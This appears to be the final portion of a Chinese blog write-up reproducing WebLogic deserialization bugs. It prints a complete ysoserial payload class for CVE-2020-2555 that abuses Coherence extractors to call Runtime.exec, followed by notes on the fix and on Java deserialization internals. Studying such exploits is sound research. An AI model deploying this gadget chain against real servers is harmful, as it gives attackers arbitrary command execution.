process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

漏洞利用

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import ysoserial.payloads.ObjectPayload;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;

public class CVE_2020_2555 implements ObjectPayload<Object> {
    @Override
    public Object getObject(String... command) throws Exception {
        ValueExtractor[] valueExtractors = new ValueExtractor[]{
            new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
            new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
            new ReflectionExtractor("exec", new Object[]{command})
        };
        LimitFilter limitFilter = new LimitFilter();
        limitFilter.setTopAnchor(Runtime.class);
        BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
        Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
        Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
        m_oAnchorTop.setAccessible(true);
        m_oAnchorTop.set(limitFilter, Runtime.class);
        Field val = expException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(expException, limitFilter);
        return expException;
    }
}

修复

红色是老版本,绿色是修复后的版本,可以看到,将extractor.extract直接删除了,图片来源

image-20211104114524904

总结

weblogic的古老漏洞复现到这里先做个总结,这篇文章也是跟着李三师傅的博客复现下来的,非常感谢师傅无私分享。

在复现过程中也有一些自己的思考,学到了一些新东西,这里汇总一下

  1. t3、weblogic rmi、jrmp、java rmi之间的关系
  2. java序列化Externalizable接口,通过实现readExternal来自定义反序列化流程(当然readObject也能实现同样的效果)
  3. java反序列化回调方法readResolve,该方法在第三步读取完对象字段之后被调用
  4. java反序列化第一步读取类元信息时,会调用resolveClass来解析序列化数据中给出的类,此时会从子类开始,解析到父类。所以拦截父类的效果通常来说比子类更好,打击范围更大。

参考文章

WebLogic安全研究报告

Java 序列化之 Externalizable

weblogic历史T3反序列化漏洞及补丁梳理